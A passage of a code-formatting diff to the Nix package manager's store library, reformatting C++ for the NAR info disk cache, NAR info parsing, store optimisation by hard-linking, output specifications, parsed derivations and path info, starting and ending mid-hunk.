auto queryCache(state.queryCache.use()(uri)(time(0) - cacheInfoTtl)); if (!queryCache.next()) return std::nullopt; - auto cache = Cache { + auto cache = Cache{ .id = (int) queryCache.getInt(0), .storeDir = queryCache.getStr(1), .wantMassQuery = queryCache.getInt(2) != 0, @@ -202,7 +210,7 @@ public: if (cache) return cache->id; - Cache ret { + Cache ret{ .id = -1, // set below .storeDir = storeDir, .wantMassQuery = wantMassQuery, @@ -210,8 +218,10 @@ public: }; { - auto r(state->insertCache.use()(uri)(time(0))(storeDir)(wantMassQuery)(priority)); - if (!r.next()) { unreachable(); } + auto r(state->insertCache.use()(uri)(time(0))(storeDir) (wantMassQuery) (priority)); + if (!r.next()) { + unreachable(); + } ret.id = (int) r.getInt(0); } @@ -229,94 +239,80 @@ public: auto cache(queryCacheRaw(*state, uri)); if (!cache) return std::nullopt; - return CacheInfo { - .id = cache->id, - .wantMassQuery = cache->wantMassQuery, - .priority = cache->priority - }; + return CacheInfo{.id = cache->id, .wantMassQuery = cache->wantMassQuery, .priority = cache->priority}; }); } - std::pair> lookupNarInfo( - const std::string & uri, const std::string & hashPart) override + std::pair> + lookupNarInfo(const std::string & uri, const std::string & hashPart) override { return retrySQLite>>( [&]() -> std::pair> { - auto state(_state.lock()); + auto state(_state.lock()); - auto & cache(getCache(*state, uri)); + auto & cache(getCache(*state, uri)); - auto now = time(0); + auto now = time(0); - auto queryNAR(state->queryNAR.use() - (cache.id) - (hashPart) - (now - settings.ttlNegativeNarInfoCache) - (now - settings.ttlPositiveNarInfoCache)); + auto queryNAR(state->queryNAR.use()(cache.id)(hashPart) (now - settings.ttlNegativeNarInfoCache)( + now - settings.ttlPositiveNarInfoCache)); - if (!queryNAR.next()) - return {oUnknown, 0}; + if (!queryNAR.next()) + return {oUnknown, 0}; - if (!queryNAR.getInt(0)) - return {oInvalid, 0}; + if (!queryNAR.getInt(0)) + return {oInvalid, 0}; - auto namePart = queryNAR.getStr(1); - auto narInfo = make_ref( - StorePath(hashPart + "-" + namePart), - Hash::parseAnyPrefixed(queryNAR.getStr(6))); - narInfo->url = queryNAR.getStr(2); - narInfo->compression = queryNAR.getStr(3); - if (!queryNAR.isNull(4)) - narInfo->fileHash = Hash::parseAnyPrefixed(queryNAR.getStr(4)); - narInfo->fileSize = queryNAR.getInt(5); - narInfo->narSize = queryNAR.getInt(7); - for (auto & r : tokenizeString(queryNAR.getStr(8), " ")) - narInfo->references.insert(StorePath(r)); - if (!queryNAR.isNull(9)) - narInfo->deriver = StorePath(queryNAR.getStr(9)); - for (auto & sig : tokenizeString(queryNAR.getStr(10), " ")) - narInfo->sigs.insert(sig); - narInfo->ca = ContentAddress::parseOpt(queryNAR.getStr(11)); + auto namePart = queryNAR.getStr(1); + auto narInfo = + make_ref(StorePath(hashPart + "-" + namePart), Hash::parseAnyPrefixed(queryNAR.getStr(6))); + narInfo->url = queryNAR.getStr(2); + narInfo->compression = queryNAR.getStr(3); + if (!queryNAR.isNull(4)) + narInfo->fileHash = Hash::parseAnyPrefixed(queryNAR.getStr(4)); + narInfo->fileSize = queryNAR.getInt(5); + narInfo->narSize = queryNAR.getInt(7); + for (auto & r : tokenizeString(queryNAR.getStr(8), " ")) + narInfo->references.insert(StorePath(r)); + if (!queryNAR.isNull(9)) + narInfo->deriver = StorePath(queryNAR.getStr(9)); + for (auto & sig : tokenizeString(queryNAR.getStr(10), " ")) + narInfo->sigs.insert(sig); + narInfo->ca = ContentAddress::parseOpt(queryNAR.getStr(11)); - return {oValid, narInfo}; - }); + return {oValid, narInfo}; + }); } - std::pair> lookupRealisation( - const std::string & uri, const DrvOutput & id) override + std::pair> + lookupRealisation(const std::string & uri, const DrvOutput & id) override { return retrySQLite>>( [&]() -> std::pair> { - auto state(_state.lock()); + auto state(_state.lock()); - auto & cache(getCache(*state, uri)); + auto & cache(getCache(*state, uri)); - auto now = time(0); + auto now = time(0); - auto queryRealisation(state->queryRealisation.use() - (cache.id) - (id.to_string()) - (now - settings.ttlNegativeNarInfoCache) - (now - settings.ttlPositiveNarInfoCache)); + auto queryRealisation(state->queryRealisation.use()(cache.id)(id.to_string())( + now - settings.ttlNegativeNarInfoCache)(now - settings.ttlPositiveNarInfoCache)); - if (!queryRealisation.next()) - return {oUnknown, 0}; + if (!queryRealisation.next()) + return {oUnknown, 0}; - if (queryRealisation.isNull(0)) - return {oInvalid, 0}; + if (queryRealisation.isNull(0)) + return {oInvalid, 0}; - auto realisation = - std::make_shared(Realisation::fromJSON( - nlohmann::json::parse(queryRealisation.getStr(0)), - "Local disk cache")); + auto realisation = std::make_shared( + Realisation::fromJSON(nlohmann::json::parse(queryRealisation.getStr(0)), "Local disk cache")); - return {oValid, realisation}; - }); + return {oValid, realisation}; + }); } void upsertNarInfo( - const std::string & uri, const std::string & hashPart, - std::shared_ptr info) override + const std::string & uri, const std::string & hashPart, std::shared_ptr info) override { retrySQLite([&]() { auto state(_state.lock()); @@ -327,63 +323,44 @@ public: auto narInfo = std::dynamic_pointer_cast(info); - //assert(hashPart == storePathToHash(info->path)); + // assert(hashPart == storePathToHash(info->path)); - state->insertNAR.use() - (cache.id) - (hashPart) - (std::string(info->path.name())) - (narInfo ? narInfo->url : "", narInfo != 0) - (narInfo ? narInfo->compression : "", narInfo != 0) - (narInfo && narInfo->fileHash ? narInfo->fileHash->to_string(HashFormat::Nix32, true) : "", narInfo && narInfo->fileHash) - (narInfo ? narInfo->fileSize : 0, narInfo != 0 && narInfo->fileSize) - (info->narHash.to_string(HashFormat::Nix32, true)) - (info->narSize) - (concatStringsSep(" ", info->shortRefs())) - (info->deriver ? std::string(info->deriver->to_string()) : "", (bool) info->deriver) - (concatStringsSep(" ", info->sigs)) - (renderContentAddress(info->ca)) - (time(0)).exec(); + state->insertNAR + .use()(cache.id)(hashPart) (std::string(info->path.name()))( + narInfo ? narInfo->url : "", narInfo != 0)(narInfo ? narInfo->compression : "", narInfo != 0)( + narInfo && narInfo->fileHash ? narInfo->fileHash->to_string(HashFormat::Nix32, true) : "", + narInfo && narInfo->fileHash)( + narInfo ? narInfo->fileSize : 0, narInfo != 0 && narInfo->fileSize)(info->narHash.to_string( + HashFormat::Nix32, true))(info->narSize)(concatStringsSep(" ", info->shortRefs()))( + info->deriver ? std::string(info->deriver->to_string()) : "", (bool) info->deriver)( + concatStringsSep(" ", info->sigs))(renderContentAddress(info->ca))(time(0)) + .exec(); } else { - state->insertMissingNAR.use() - (cache.id) - (hashPart) - (time(0)).exec(); + state->insertMissingNAR.use()(cache.id)(hashPart) (time(0)).exec(); } }); } - void upsertRealisation( - const std::string & uri, - const Realisation & realisation) override + void upsertRealisation(const std::string & uri, const Realisation & realisation) override { retrySQLite([&]() { auto state(_state.lock()); auto & cache(getCache(*state, uri)); - state->insertRealisation.use() - (cache.id) - (realisation.id.to_string()) - (realisation.toJSON().dump()) - (time(0)).exec(); + state->insertRealisation.use()(cache.id)(realisation.id.to_string())(realisation.toJSON().dump())(time(0)) + .exec(); }); - } - virtual void upsertAbsentRealisation( - const std::string & uri, - const DrvOutput & id) override + virtual void upsertAbsentRealisation(const std::string & uri, const DrvOutput & id) override { retrySQLite([&]() { auto state(_state.lock()); auto & cache(getCache(*state, uri)); - state->insertMissingRealisation.use() - (cache.id) - (id.to_string()) - (time(0)).exec(); + state->insertMissingRealisation.use()(cache.id)(id.to_string())(time(0)).exec(); }); } }; diff --git a/src/libstore/nar-info.cc b/src/libstore/nar-info.cc index ba80652d0..8c737a1f3 100644 --- a/src/libstore/nar-info.cc +++ b/src/libstore/nar-info.cc @@ -12,7 +12,9 @@ NarInfo::NarInfo(const Store & store, const std::string & s, const std::string & unsigned line = 1; auto corrupt = [&](const char * reason) { - return Error("NAR info file '%1%' is corrupt: %2%", whence, + return Error( + "NAR info file '%1%' is corrupt: %2%", + whence, std::string(reason) + (line > 0 ? " at line " + std::to_string(line) : "")); }; @@ -31,20 +33,21 @@ NarInfo::NarInfo(const Store & store, const std::string & s, const std::string & while (pos < s.size()) { size_t colon = s.find(':', pos); - if (colon == s.npos) throw corrupt("expecting ':'"); + if (colon == s.npos) + throw corrupt("expecting ':'"); std::string name(s, pos, colon - pos); size_t eol = s.find('\n', colon + 2); - if (eol == s.npos) throw corrupt("expecting '\\n'"); + if (eol == s.npos) + throw corrupt("expecting '\\n'"); std::string value(s, colon + 2, eol - colon - 2); if (name == "StorePath") { path = store.parseStorePath(value); havePath = true; - } - else if (name == "URL") + } else if (name == "URL") url = value; else if (name == "Compression") compression = value; @@ -52,32 +55,31 @@ NarInfo::NarInfo(const Store & store, const std::string & s, const std::string & fileHash = parseHashField(value); else if (name == "FileSize") { auto n = string2Int(value); - if (!n) throw corrupt("invalid FileSize"); + if (!n) + throw corrupt("invalid FileSize"); fileSize = *n; - } - else if (name == "NarHash") { + } else if (name == "NarHash") { narHash = parseHashField(value); haveNarHash = true; - } - else if (name == "NarSize") { + } else if (name == "NarSize") { auto n = string2Int(value); - if (!n) throw corrupt("invalid NarSize"); + if (!n) + throw corrupt("invalid NarSize"); narSize = *n; - } - else if (name == "References") { + } else if (name == "References") { auto refs = tokenizeString(value, " "); - if (!references.empty()) throw corrupt("extra References"); + if (!references.empty()) + throw corrupt("extra References"); for (auto & r : refs) references.insert(StorePath(r)); - } - else if (name == "Deriver") { + } else if (name == "Deriver") { if (value != "unknown-deriver") deriver = StorePath(value); - } - else if (name == "Sig") + } else if (name == "Sig") sigs.insert(value); else if (name == "CA") { - if (ca) throw corrupt("extra CA"); + if (ca) + throw corrupt("extra CA"); // FIXME: allow blank ca or require skipping field? ca = ContentAddress::parseOpt(value); } @@ -86,16 +88,17 @@ NarInfo::NarInfo(const Store & store, const std::string & s, const std::string & line += 1; } - if (compression == "") compression = "bzip2"; + if (compression == "") + compression = "bzip2"; if (!havePath || !haveNarHash || url.empty() || narSize == 0) { line = 0; // don't include line information in the error throw corrupt( - !havePath ? "StorePath missing" : - !haveNarHash ? "NarHash missing" : - url.empty() ? "URL missing" : - narSize == 0 ? "NarSize missing or zero" - : "?"); + !havePath ? "StorePath missing" + : !haveNarHash ? "NarHash missing" + : url.empty() ? "URL missing" + : narSize == 0 ? "NarSize missing or zero" + : "?"); } } @@ -127,10 +130,7 @@ std::string NarInfo::to_string(const Store & store) const return res; } -nlohmann::json NarInfo::toJSON( - const Store & store, - bool includeImpureInfo, - HashFormat hashFormat) const +nlohmann::json NarInfo::toJSON(const Store & store, bool includeImpureInfo, HashFormat hashFormat) const { using nlohmann::json; @@ -150,19 +150,14 @@ nlohmann::json NarInfo::toJSON( return jsonObject; } -NarInfo NarInfo::fromJSON( - const Store & store, - const StorePath & path, - const nlohmann::json & json) +NarInfo NarInfo::fromJSON(const Store & store, const StorePath & path, const nlohmann::json & json) { using nlohmann::detail::value_t; - NarInfo res { - ValidPathInfo { - path, - UnkeyedValidPathInfo::fromJSON(store, json), - } - }; + NarInfo res{ValidPathInfo{ + path, + UnkeyedValidPathInfo::fromJSON(store, json), + }}; if (json.contains("url")) res.url = getString(valueAt(json, "url")); @@ -171,9 +166,7 @@ NarInfo NarInfo::fromJSON( res.compression = getString(valueAt(json, "compression")); if (json.contains("downloadHash")) - res.fileHash = Hash::parseAny( - getString(valueAt(json, "downloadHash")), - std::nullopt); + res.fileHash = Hash::parseAny(getString(valueAt(json, "downloadHash")), std::nullopt); if (json.contains("downloadSize")) res.fileSize = getInteger(valueAt(json, "downloadSize")); diff --git a/src/libstore/optimise-store.cc b/src/libstore/optimise-store.cc index 277795053..179cc7b84 100644 --- a/src/libstore/optimise-store.cc +++ b/src/libstore/optimise-store.cc @@ -17,7 +17,6 @@ namespace nix { - static void makeWritable(const Path & path) { auto st = lstat(path); @@ -25,30 +24,33 @@ static void makeWritable(const Path & path) throw SysError("changing writability of '%1%'", path); } - struct MakeReadOnly { Path path; - MakeReadOnly(const PathView path) : path(path) { } + MakeReadOnly(const PathView path) + : path(path) + { + } ~MakeReadOnly() { try { /* This will make the path read-only. */ - if (path != "") canonicaliseTimestampAndPermissions(path); + if (path != "") + canonicaliseTimestampAndPermissions(path); } catch (...) { ignoreExceptionInDestructor(); } } }; - LocalStore::InodeHash LocalStore::loadInodeHash() { debug("loading hash inodes in memory"); InodeHash inodeHash; AutoCloseDir dir(opendir(linksDir.c_str())); - if (!dir) throw SysError("opening directory '%1%'", linksDir); + if (!dir) + throw SysError("opening directory '%1%'", linksDir); struct dirent * dirent; while (errno = 0, dirent = readdir(dir.get())) { /* sic */ @@ -56,20 +58,21 @@ LocalStore::InodeHash LocalStore::loadInodeHash() // We don't care if we hit non-hash files, anything goes inodeHash.insert(dirent->d_ino); } - if (errno) throw SysError("reading directory '%1%'", linksDir); + if (errno) + throw SysError("reading directory '%1%'", linksDir); printMsg(lvlTalkative, "loaded %1% hash inodes", inodeHash.size()); return inodeHash; } - Strings LocalStore::readDirectoryIgnoringInodes(const Path & path, const InodeHash & inodeHash) { Strings names; AutoCloseDir dir(opendir(path.c_str())); - if (!dir) throw SysError("opening directory '%1%'", path); + if (!dir) + throw SysError("opening directory '%1%'", path); struct dirent * dirent; while (errno = 0, dirent = readdir(dir.get())) { /* sic */ @@ -81,17 +84,18 @@ Strings LocalStore::readDirectoryIgnoringInodes(const Path & path, const InodeHa } std::string name = dirent->d_name; - if (name == "." || name == "..") continue; + if (name == "." || name == "..") + continue; names.push_back(name); } - if (errno) throw SysError("reading directory '%1%'", path); + if (errno) + throw SysError("reading directory '%1%'", path); return names; } - -void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, - const Path & path, InodeHash & inodeHash, RepairFlag repair) +void LocalStore::optimisePath_( + Activity * act, OptimiseStats & stats, const Path & path, InodeHash & inodeHash, RepairFlag repair) { checkInterrupt(); @@ -101,11 +105,10 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, /* HFS/macOS has some undocumented security feature disabling hardlinking for special files within .app dirs. Known affected paths include *.app/Contents/{PkgInfo,Resources/\*.lproj,_CodeSignature} and .DS_Store. - See https://github.com/NixOS/nix/issues/1443 and + See https://github.com/NixOS/nix/issues/1443 and https://github.com/NixOS/nix/pull/2230 for more discussion. */ - if (std::regex_search(path, std::regex("\\.app/Contents/.+$"))) - { + if (std::regex_search(path, std::regex("\\.app/Contents/.+$"))) { debug("'%1%' is not allowed to be linked in macOS", path); return; } @@ -123,7 +126,8 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, #if CAN_LINK_SYMLINK && !S_ISLNK(st.st_mode) #endif - ) return; + ) + return; /* Sometimes SNAFUs can cause files in the Nix store to be modified, in particular when running programs as root under @@ -152,7 +156,9 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, Hash hash = ({ hashPath( {make_ref(), CanonPath(path)}, - FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256).first; + FileSerialisationMethod::NixArchive, + HashAlgorithm::SHA256) + .first; }); debug("'%1%' has hash '%2%'", path, hash.to_string(HashFormat::Nix32, true)); @@ -162,17 +168,18 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, /* Maybe delete the link, if it has been corrupted. */ if (std::filesystem::exists(std::filesystem::symlink_status(linkPath))) { auto stLink = lstat(linkPath.string()); - if (st.st_size != stLink.st_size - || (repair && hash != ({ - hashPath( - PosixSourceAccessor::createAtRoot(linkPath), - FileSerialisationMethod::NixArchive, HashAlgorithm::SHA256).first; - }))) - { + if (st.st_size != stLink.st_size || (repair && hash != ({ + hashPath( + PosixSourceAccessor::createAtRoot(linkPath), + FileSerialisationMethod::NixArchive, + HashAlgorithm::SHA256) + .first; + }))) { // XXX: Consider overwriting linkPath with our valid version. warn("removing corrupted link %s", linkPath); - warn("There may be more corrupted paths." - "\nYou should run `nix-store --verify --check-contents --repair` to fix them all"); + warn( + "There may be more corrupted paths." + "\nYou should run `nix-store --verify --check-contents --repair` to fix them all"); std::filesystem::remove(linkPath); } } @@ -197,7 +204,8 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, return; } - else throw; + else + throw; } } @@ -217,7 +225,8 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, permissions). */ const Path dirOfPath(dirOf(path)); bool mustToggle = dirOfPath != realStoreDir.get(); - if (mustToggle) makeWritable(dirOfPath); + if (mustToggle) + makeWritable(dirOfPath); /* When we're done, make the directory read-only again and reset its timestamp back to 0. */ @@ -245,7 +254,7 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, std::filesystem::rename(tempLink, path); } catch (std::filesystem::filesystem_error & e) { std::filesystem::remove(tempLink); - printError("unable to unlink '%1%'", tempLink); + printError("unable to unlink '%1%'", tempLink); if (e.code() == std::errc::too_many_links) { /* Some filesystems generate too many links on the rename, rather than on the original link. (Probably it @@ -261,14 +270,16 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, stats.bytesFreed += st.st_size; if (act) - act->result(resFileLinked, st.st_size + act->result( + resFileLinked, + st.st_size #ifndef _WIN32 - , st.st_blocks + , + st.st_blocks #endif - ); + ); } - void LocalStore::optimiseStore(OptimiseStats & stats) { Activity act(*logger, actOptimiseStore); @@ -282,7 +293,8 @@ void LocalStore::optimiseStore(OptimiseStats & stats) for (auto & i : paths) { addTempRoot(i); - if (!isValidPath(i)) continue; /* path was GC'ed, probably */ + if (!isValidPath(i)) + continue; /* path was GC'ed, probably */ { Activity act(*logger, lvlTalkative, actUnknown, fmt("optimising path '%s'", printStorePath(i))); optimisePath_(&act, stats, realStoreDir + "/" + std::string(i.to_string()), inodeHash, NoRepair); @@ -298,9 +310,7 @@ void LocalStore::optimiseStore() optimiseStore(stats); - printInfo("%s freed by hard-linking %d files", - showBytes(stats.bytesFreed), - stats.filesLinked); + printInfo("%s freed by hard-linking %d files", showBytes(stats.bytesFreed), stats.filesLinked); } void LocalStore::optimisePath(const Path & path, RepairFlag repair) @@ -308,8 +318,8 @@ void LocalStore::optimisePath(const Path & path, RepairFlag repair) OptimiseStats stats; InodeHash inodeHash; - if (settings.autoOptimiseStore) optimisePath_(nullptr, stats, path, inodeHash, repair); + if (settings.autoOptimiseStore) + optimisePath_(nullptr, stats, path, inodeHash, repair); } - } diff --git a/src/libstore/outputs-spec.cc b/src/libstore/outputs-spec.cc index 28fe45de9..d17c3d63d 100644 --- a/src/libstore/outputs-spec.cc +++ b/src/libstore/outputs-spec.cc @@ -11,39 +11,33 @@ namespace nix { bool OutputsSpec::contains(const std::string & outputName) const { - return std::visit(overloaded { - [&](const OutputsSpec::All &) { - return true; + return std::visit( + overloaded{ + [&](const OutputsSpec::All &) { return true; }, + [&](const OutputsSpec::Names & outputNames) { return outputNames.count(outputName) > 0; }, }, - [&](const OutputsSpec::Names & outputNames) { - return outputNames.count(outputName) > 0; - }, - }, raw); + raw); } -static std::string outputSpecRegexStr = - regex::either( - regex::group(R"(\*)"), - regex::group(regex::list(nameRegexStr))); +static std::string outputSpecRegexStr = regex::either(regex::group(R"(\*)"), regex::group(regex::list(nameRegexStr))); std::optional OutputsSpec::parseOpt(std::string_view s) { - static std::regex regex(std::string { outputSpecRegexStr }); + static std::regex regex(std::string{outputSpecRegexStr}); std::cmatch match; if (!std::regex_match(s.cbegin(), s.cend(), match, regex)) return std::nullopt; if (match[1].matched) - return { OutputsSpec::All {} }; + return {OutputsSpec::All{}}; if (match[2].matched) - return OutputsSpec::Names { tokenizeString({match[2].first, match[2].second}, ",") }; + return OutputsSpec::Names{tokenizeString({match[2].first, match[2].second}, ",")}; assert(false); } - OutputsSpec OutputsSpec::parse(std::string_view s) { std::optional spec = parseOpt(s); @@ -52,21 +46,19 @@ OutputsSpec OutputsSpec::parse(std::string_view s) return std::move(*spec); } - std::optional> ExtendedOutputsSpec::parseOpt(std::string_view s) { auto found = s.rfind('^'); if (found == std::string::npos) - return std::pair { s, ExtendedOutputsSpec::Default {} }; + return std::pair{s, ExtendedOutputsSpec::Default{}}; auto specOpt = OutputsSpec::parseOpt(s.substr(found + 1)); if (!specOpt) return std::nullopt; - return std::pair { s.substr(0, found), ExtendedOutputsSpec::Explicit { std::move(*specOpt) } }; + return std::pair{s.substr(0, found), ExtendedOutputsSpec::Explicit{std::move(*specOpt)}}; } - std::pair ExtendedOutputsSpec::parse(std::string_view s) { std::optional spec = parseOpt(s); @@ -75,76 +67,70 @@ std::pair ExtendedOutputsSpec::parse(std: return *spec; } - std::string OutputsSpec::to_string() const { - return std::visit(overloaded { - [&](const OutputsSpec::All &) -> std::string { - return "*"; + return std::visit( + overloaded{ + [&](const OutputsSpec::All &) -> std::string { return "*"; }, + [&](const OutputsSpec::Names & outputNames) -> std::string { return concatStringsSep(",", outputNames); }, }, - [&](const OutputsSpec::Names & outputNames) -> std::string { - return concatStringsSep(",", outputNames); - }, - }, raw); + raw); } - std::string ExtendedOutputsSpec::to_string() const { - return std::visit(overloaded { - [&](const ExtendedOutputsSpec::Default &) -> std::string { - return ""; + return std::visit( + overloaded{ + [&](const ExtendedOutputsSpec::Default &) -> std::string { return ""; }, + [&](const ExtendedOutputsSpec::Explicit & outputSpec) -> std::string { + return "^" + outputSpec.to_string(); + }, }, - [&](const ExtendedOutputsSpec::Explicit & outputSpec) -> std::string { - return "^" + outputSpec.to_string(); - }, - }, raw); + raw); } - OutputsSpec OutputsSpec::union_(const OutputsSpec & that) const { - return std::visit(overloaded { - [&](const OutputsSpec::All &) -> OutputsSpec { - return OutputsSpec::All { }; + return std::visit( + overloaded{ + [&](const OutputsSpec::All &) -> OutputsSpec { return OutputsSpec::All{}; }, + [&](const OutputsSpec::Names & theseNames) -> OutputsSpec { + return std::visit( + overloaded{ + [&](const OutputsSpec::All &) -> OutputsSpec { return OutputsSpec::All{}; }, + [&](const OutputsSpec::Names & thoseNames) -> OutputsSpec { + OutputsSpec::Names ret = theseNames; + ret.insert(thoseNames.begin(), thoseNames.end()); + return ret; + }, + }, + that.raw); + }, }, - [&](const OutputsSpec::Names & theseNames) -> OutputsSpec { - return std::visit(overloaded { - [&](const OutputsSpec::All &) -> OutputsSpec { - return OutputsSpec::All {}; - }, - [&](const OutputsSpec::Names & thoseNames) -> OutputsSpec { - OutputsSpec::Names ret = theseNames; - ret.insert(thoseNames.begin(), thoseNames.end()); - return ret; - }, - }, that.raw); - }, - }, raw); + raw); } - bool OutputsSpec::isSubsetOf(const OutputsSpec & that) const { - return std::visit(overloaded { - [&](const OutputsSpec::All &) { - return true; + return std::visit( + overloaded{ + [&](const OutputsSpec::All &) { return true; }, + [&](const OutputsSpec::Names & thoseNames) { + return std::visit( + overloaded{ + [&](const OutputsSpec::All &) { return false; }, + [&](const OutputsSpec::Names & theseNames) { + bool ret = true; + for (auto & o : theseNames) + if (thoseNames.count(o) == 0) + ret = false; + return ret; + }, + }, + raw); + }, }, - [&](const OutputsSpec::Names & thoseNames) { - return std::visit(overloaded { - [&](const OutputsSpec::All &) { - return false; - }, - [&](const OutputsSpec::Names & theseNames) { - bool ret = true; - for (auto & o : theseNames) - if (thoseNames.count(o) == 0) - ret = false; - return ret; - }, - }, raw); - }, - }, that.raw); + that.raw); } } @@ -159,42 +145,38 @@ OutputsSpec adl_serializer::from_json(const json & json) { auto names = json.get(); if (names == StringSet({"*"})) - return OutputsSpec::All {}; + return OutputsSpec::All{}; else - return OutputsSpec::Names { std::move(names) }; + return OutputsSpec::Names{std::move(names)}; } void adl_serializer::to_json(json & json, OutputsSpec t) { - std::visit(overloaded { - [&](const OutputsSpec::All &) { - json = std::vector({"*"}); + std::visit( + overloaded{ + [&](const OutputsSpec::All &) { json = std::vector({"*"}); }, + [&](const OutputsSpec::Names & names) { json = names; }, }, - [&](const OutputsSpec::Names & names) { - json = names; - }, - }, t.raw); + t.raw); } ExtendedOutputsSpec adl_serializer::from_json(const json & json) { if (json.is_null()) - return ExtendedOutputsSpec::Default {}; + return ExtendedOutputsSpec::Default{}; else { - return ExtendedOutputsSpec::Explicit { json.get() }; + return ExtendedOutputsSpec::Explicit{json.get()}; } } void adl_serializer::to_json(json & json, ExtendedOutputsSpec t) { - std::visit(overloaded { - [&](const ExtendedOutputsSpec::Default &) { - json = nullptr; + std::visit( + overloaded{ + [&](const ExtendedOutputsSpec::Default &) { json = nullptr; }, + [&](const ExtendedOutputsSpec::Explicit & e) { adl_serializer::to_json(json, e); }, }, - [&](const ExtendedOutputsSpec::Explicit & e) { - adl_serializer::to_json(json, e); - }, - }, t.raw); + t.raw); } #endif diff --git a/src/libstore/parsed-derivations.cc b/src/libstore/parsed-derivations.cc index cc7203c6b..94f107223 100644 --- a/src/libstore/parsed-derivations.cc +++ b/src/libstore/parsed-derivations.cc @@ -6,7 +6,8 @@ namespace nix { ParsedDerivation::ParsedDerivation(const StorePath & drvPath, BasicDerivation & drv) - : drvPath(drvPath), drv(drv) + : drvPath(drvPath) + , drv(drv) { /* Parse the __json attribute, if any. */ auto jsonAttr = drv.env.find("__json"); @@ -19,7 +20,7 @@ ParsedDerivation::ParsedDerivation(const StorePath & drvPath, BasicDerivation & } } -ParsedDerivation::~ParsedDerivation() { } +ParsedDerivation::~ParsedDerivation() {} std::optional ParsedDerivation::getStringAttr(const std::string & name) const { @@ -73,7 +74,8 @@ std::optional ParsedDerivation::getStringsAttr(const std::string & name Strings res; for (auto j = i->begin(); j != i->end(); ++j) { if (!j->is_string()) - throw Error("attribute '%s' of derivation '%s' must be a list of strings", name, drvPath.to_string()); + throw Error( + "attribute '%s' of derivation '%s' must be a list of strings", name, drvPath.to_string()); res.push_back(j->get()); } return res; @@ -90,9 +92,7 @@ std::optional ParsedDerivation::getStringsAttr(const std::string & name std::optional ParsedDerivation::getStringSetAttr(const std::string & name) const { auto ss = getStringsAttr(name); - return ss - ? (std::optional{StringSet{ss->begin(), ss->end()}}) - : (std::optional{}); + return ss ? (std::optional{StringSet{ss->begin(), ss->end()}}) : (std::optional{}); } static std::regex shVarName("[A-Za-z_][A-Za-z0-9_]*"); @@ -107,9 +107,7 @@ static std::regex shVarName("[A-Za-z_][A-Za-z0-9_]*"); * mechanism to allow this to evolve again and get back in sync, but for * now we must not change - not even extend - the behavior. */ -static nlohmann::json pathInfoToJSON( - Store & store, - const StorePathSet & storePaths) +static nlohmann::json pathInfoToJSON(Store & store, const StorePathSet & storePaths) { using nlohmann::json; @@ -153,7 +151,8 @@ static nlohmann::json pathInfoToJSON( std::optional ParsedDerivation::prepareStructuredAttrs(Store & store, const StorePathSet & inputPaths) { - if (!structuredAttrs) return std::nullopt; + if (!structuredAttrs) + return std::nullopt; auto json = *structuredAttrs; @@ -170,8 +169,7 @@ std::optional ParsedDerivation::prepareStructuredAttrs(Store & s StorePathSet storePaths; for (auto & p : *i) storePaths.insert(store.toStorePath(p.get()).first); - json[i.key()] = pathInfoToJSON(store, - store.exportReferences(storePaths, inputPaths)); + json[i.key()] = pathInfoToJSON(store, store.exportReferences(storePaths, inputPaths)); } } @@ -209,7 +207,8 @@ std::string writeStructuredAttrsShell(const nlohmann::json & json) for (auto & [key, value] : json.items()) { - if (!std::regex_match(key, shVarName)) continue; + if (!std::regex_match(key, shVarName)) + continue; auto s = handleSimpleType(value); if (s) @@ -221,8 +220,12 @@ std::string writeStructuredAttrsShell(const nlohmann::json & json) for (auto & value2 : value) { auto s3 = handleSimpleType(value2); - if (!s3) { good = false; break; } - s2 += *s3; s2 += ' '; + if (!s3) { + good = false; + break; + } + s2 += *s3; + s2 += ' '; } if (good) @@ -235,7 +238,10 @@ std::string writeStructuredAttrsShell(const nlohmann::json & json) for (auto & [key2, value2] : value.items()) { auto s3 = handleSimpleType(value2); - if (!s3) { good = false; break; } + if (!s3) { + good = false; + break; + } s2 += fmt("[%s]=%s ", shellEscape(key2), *s3); } diff --git a/src/libstore/path-info.cc b/src/libstore/path-info.cc index df20edb3b..48d3482fd 100644 --- a/src/libstore/path-info.cc +++ b/src/libstore/path-info.cc @@ -17,7 +17,7 @@ GENERATE_CMP_EXT( me->references, me->registrationTime, me->narSize, - //me->id, + // me->id, me->ultimate, me->sigs, me->ca); @@ -25,16 +25,12 @@ GENERATE_CMP_EXT( std::string ValidPathInfo::fingerprint(const Store & store) const { if (narSize == 0) - throw Error("cannot calculate fingerprint of path '%s' because its size is not known", - store.printStorePath(path)); - return - "1;" + store.printStorePath(path) + ";" - + narHash.to_string(HashFormat::Nix32, true) + ";" - + std::to_string(narSize) + ";" - + concatStringsSep(",", store.printStorePathSet(references)); + throw Error( + "cannot calculate fingerprint of path '%s' because its size is not known", store.printStorePath(path)); + return "1;" + store.printStorePath(path) + ";" + narHash.to_string(HashFormat::Nix32, true) + ";" + + std::to_string(narSize) + ";" + concatStringsSep(",", store.printStorePathSet(references)); } - void ValidPathInfo::sign(const Store & store, const Signer & signer) { sigs.insert(signer.signDetached(fingerprint(store))); @@ -42,39 +38,38 @@ void ValidPathInfo::sign(const Store & store, const Signer & signer) std::optional ValidPathInfo::contentAddressWithReferences() const { - if (! ca) + if (!ca) return std::nullopt; switch (ca->method.raw) { - case ContentAddressMethod::Raw::Text: - { - assert(references.count(path) == 0); - return TextInfo { - .hash = ca->hash, - .references = references, - }; - } + case ContentAddressMethod::Raw::Text: { + assert(references.count(path) == 0); + return TextInfo{ + .hash = ca->hash, + .references = references, + }; + } - case ContentAddressMethod::Raw::Flat: - case ContentAddressMethod::Raw::NixArchive: - case ContentAddressMethod::Raw::Git: - default: - { - auto refs = references; - bool hasSelfReference = false; - if (refs.count(path)) { - hasSelfReference = true; - refs.erase(path); - } - return FixedOutputInfo { - .method = ca->method.getFileIngestionMethod(), - .hash = ca->hash, - .references = { + case ContentAddressMethod::Raw::Flat: + case ContentAddressMethod::Raw::NixArchive: + case ContentAddressMethod::Raw::Git: + default: { + auto refs = references; + bool hasSelfReference = false; + if 